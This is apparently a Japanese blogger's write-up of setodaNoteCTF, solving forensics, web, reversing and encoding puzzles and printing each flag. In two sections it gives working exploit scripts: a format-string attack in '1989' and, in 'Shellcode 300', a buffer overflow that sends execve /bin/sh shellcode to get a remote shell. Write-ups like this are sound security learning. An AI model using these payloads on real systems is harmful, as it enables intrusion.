setodaNoteCTF writeup

2021/09/04に公開

setodaNoteCTFに参加しました

setodaNoteCTFに参加しました。
結果はこんな感じ。

writeup

echo request

与えられたpcapファイルをWiresharkで開いたところ、ping の送信データに怪しげなdataがついているので、dataフィールドだけを抽出することにしました。Wiresharkでやる方法がわからなかったので、tsharkを使いました。

tshark -r echo_request.pcap -Y icmp -T fields -e data

出力をCyberChefでデコードするとフラグ。解析結果

flag{ICMP_Tunneling_T1095}

参考にしたページ

puni_puni

以下の文字列を与えられました。

xn--q6jaaaaaa08db0x8nc9t1b8fsviei84atb4i0lc
xn--q6jaaaaa03dpd4mb3jc5rpa0g9jpk07acadc.
xn--q6jylla3va3j6c8138a8eptvb303cxv4ft3o4ue63a
xn--v8ja6aj2a3cri3ag4a2r6cx2a1rkk1272c7j4ajd4bmf0kjhg6rb.
xn--q6j6gav1a0b2e1bh1ac2cl29ad7728kdjen6cz80dju6bqexchl9gel8b.

見た目で国際化ドメイン名の形式だと分かったので、CyberChefについているデコーダーにかけました。結果

フラグは、さん、さん、ピー、ユー、エヌ、ワイ、
シー、オー、ディー、イー、よん、よん、です.
カタカナ表記は半角英小文字に、
ひらがな表記は半角数字にしたものがフラグです.
なお、読点は区切り文字なので取り除いてください.

とのことなのでフラグは

flag{33punycode44}

Redirect

GETのクエリパラメータによってリダイレクト先が変わる問題です。制御はJSで行われているので読めます。条件分岐を調べて適切なパラメータを渡すというのを何回か繰り返せばフラグが書かれたページに飛びました。

flag{Analyz1ng_Bad_Red1rects}

Mx.Flag

Mx.Flag で検索してもメキシコの旗しか出てこず、旗→画像→ファビコン の連想ゲームでファビコンをダウンロードしてみたらまさかのテキストファイルでした。

flag{Mr_Flag_hiding_in_the_favicon}

Mistake

Web問の中では一番時間がかかりました。Webserver directory index? というヒントがHtmlのコメントに書かれていたので、index.*をひたすら試したのですがうまくいかず。
結局、https://ctf.setodanote.net/web003/images/ でファイル一覧が出ました。フラグはhttps://ctf.setodanote.net/web003/images/pic_flag_is_here.txtにあります。

flag{You_are_the_Laughing_Man,_aren't_you?}

lets_bake

Recipeはbase64エンコードされた文字列が]b2[区切りでつながれた形式になっています。base64エンコードされた文字列がCyberChefのレシピを示しているので、その通りレシピを組んでbakeするとフラグが出てきました。フラグ

Mail

たくさんファイルが入ったZipファイルを渡されますが、フラグに関係するのはImapMail\mail.setodanote.net\Sent-1だけです。後ろのほうにbase64エンコードされた文字列があり、これが添付ファイルになっています。デコードするとZipファイルになるので解凍するとフラグが書かれた画像ファイルが出てきます。

flag{You've_clearly_done_a_good_job_there!!}

この問題を解くときにwslのbase64コマンドは改行コードがCRLFだと動作しないということを知りました。

zzzippp

何回もzip圧縮されたファイルを取り出す問題。

for i in (seq 1000 -1 1)
    unzip flag{$i}.zip
end
cat flag.txt

echo_me

はじめPythonとソケットでやろうとして、https://docs.python.org/ja/3/howto/sockets.html
とかを読んだのですが、使いこなせる気がしなかったので標準Telnetライブラリを使うことにしました。
https://docs.python.org/ja/3/library/telnetlib.html
完成したコードはこちら

from telnetlib import Telnet

# TARGET_ADDRESS = ('localhost', 9000)
TARGET_ADDRESS = ('10.1.1.10', 12020)


def echo(tn):
    """
    wait for "echo me: hoge"
    """
    rt = tn.expect([b'echo me: (.*)\n'])
    print('[echo]', rt)
    if rt[2]:
        print(rt[2].decode('ascii'))
    if rt[1]:
        st = rt[1].group(1)
        print('text =', st.decode('ascii'))
        tn.write(st+b'\n')
    else:
        return False
    return True


with Telnet(*TARGET_ADDRESS) as tn:
    while echo(tn):
        pass

to_analyze

monoで実行できたのでC#系の実行環境だと推測しました。ILSpyというフリーのデコンパイラがあるらしいので使ってみました。
https://github.com/icsharpcode/ILSpy
ややこしい処理をして文字列を生成し、その名前のディレクトリが存在するとフラグが出力される仕組みになっているようです。

ややこしい処理をPythonに移植して文字列を生成しました。

def check(a0):
    if a0 in [107 ,117 ,108 ,102 ,98]:
        return True
    return False


def maybe_main():
    array = 65, 127, 89, 80, 182, 160, 183, 182, 89, 118, 119, 116, 177, 189, 177

    result = []
    for i, v in enumerate(array):
        v = v^35
        if check(v):
            v += 3
        v = v^21
        v = v-32
        v = v^0x13
        result.append(v)
    print(''.join([chr(i) for i in result]))
    
maybe_main()

実行するとC:\Users\321txtと出力するので、C:\Users\321txtディレクトリを作ってからto_analyze.exeを実行するとフラグが出力されました。

flag{Do_y0u_Kn0w_Ursnif?}

EZZZIPPP

何重にもパスワード付きzipで圧縮したファイルを解凍する問題。パスワードはpass.txtという名前で一緒に圧縮されているので解析する必要はありません。

まず、Pythonでソルバを書いたのですがあまりに遅かったのでシェルスクリプトで書き直しました。

from zipfile import ZipFile

def extract(zipfilename, pwd):
    passwdfile  = r'pass.txt'
    with ZipFile(zipfilename) as zf:
        l = zf.namelist()
        for zipfilename in l:
            if 'flag' in zipfilename:
                break
        newzipf    = zf.open(zipfilename, pwd=pwd)
        if 'txt' in zipfilename:
            return newzipf, None
        print(zipfilename, ':')
        newpasswdf = zf.open(passwdfile, pwd=pwd)
        newpass = newpasswdf.readline().strip()
    return newzipf, newpass

zf, pwd = 'flag1000.zip', b'lCfIpIq2Ka'
while True:
    print((zf, pwd))
    zf, pwd = extract(zf, pwd)
    if not pwd:
        break
print(zf.open())

こちらは一瞬で終了しました。

for i in `seq 1000 -1 1`; do
    unzip -o -P `cat pass.txt` flag${i}.zip 
done
cat flag.txt

フラグは

flag{bdf574f15645df736df13daef06128b8}

1989

書式指定文字列攻撃をする問題。ncで接続するとflagのアドレスを仄めかしてくるので、とりあえずこのアドレスが指す文字列を表示することを目指しました。まず、入力した文字列がスタックのどの位置に配置されているか調べるため

AAAA,%x,%x,%x,%x,%x,%x,

を入力しました。すると

Your Inpur : AAAA,fff9da40,fff9de48,565cd306,41414141,2c78252c,252c7825,

と表示され、入力文字列は4番目にあることがわかりました。

{アドレス値}%4$s

を入力すればフラグが表示されるはずですが手では入力できないのでスクリプトを書きました。

from telnetlib import Telnet

# nc 10.1.1.10 13030
TARGET_ADDRESS = ('10.1.1.10', 13030)

def solve(tn):
    rt = tn.expect([b'\[0x(.+)\]'])
    print('[echo]', rt)
    if rt[2]:
        print(rt[2].decode('ascii'))
    if rt[1]:
        ts = rt[1].group(1)
        print('target =', ts.decode('ascii'))
    target_addr = int(ts, 16)
    tb = target_addr.to_bytes(4, 'little')
    payload = tb+b', %4$s\n'
    tn.write(payload)
    result = tn.read_all()
    print(result.decode('ascii'))


with Telnet(*TARGET_ADDRESS) as tn:
    solve(tn)

フラグは

flag{Homenum_Revelio_1989}

Shellcode 300

Ghidraで逆コンパイルした結果を見てリターンアドレス書き換えだと目星をつけました。何バイト目がリターンアドレスになるのか特定するのに手こずっている間にこんな記事を見つけました!

https://wiki.archlinux.jp/index.php/ステップバイステップデバッグガイド

この記事に載っているvalgrindコマンドが非常に優秀でセグフォ時に命令レジスタの中身を表示してくれます!
表示されるアドレスは入力を受け取る配列の先頭を示しているので、これをリターンアドレスに設定した上で、配列の中身をシェルコードにすればシェルをとれます。
シェルコードはこれを使わせていただきました。

http://shell-storm.org/shellcode/files/shellcode-603.php

書いたエクスプロイトはこんな感じ。

from telnetlib import Telnet

# nc 10.1.1.10 13030
TARGET_ADDRESS = ('10.1.1.10', 13050)

SHELLCODE = b'\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\
\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'

def solve(tn):
    rt = tn.expect([b'\[0x(.+)\]'])
    print('[echo]', rt)
    if rt[2]:
        print(rt[2].decode('ascii'))
    if rt[1]:
        ts = rt[1].group(1)
        print('target =', ts.decode('ascii'))

    # pack shellcode
    shellcode = SHELLCODE + b'\x90'*(88-len(SHELLCODE))
    # make payload
    target_addr = int(ts, 16)
    tb = target_addr.to_bytes(8, 'little')
    payload = shellcode + tb + b'\n'

    # send
    tn.write(payload)
    # tn.interact()

# with Telnet(*TARGET_ADDRESS) as tn:
tn = Telnet(*TARGET_ADDRESS)
solve(tn)
while True:
    res = tn.read_very_eager()
    print(res.decode('ascii', 'replace'))
    cmd = input('))) ')
    tn.write(cmd.encode('ascii') + b'\n')

/home/user/flagにフラグが書かれたテキストファイルがあります。

flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}

おわりに

せっかく参加したので雑ですがWriteupを書いてみました。
難易度が自分にとってちょうどよく、楽しいCTFでした。

NetworkとOSINTをもうちょっと解けるようになりたい……

Discussion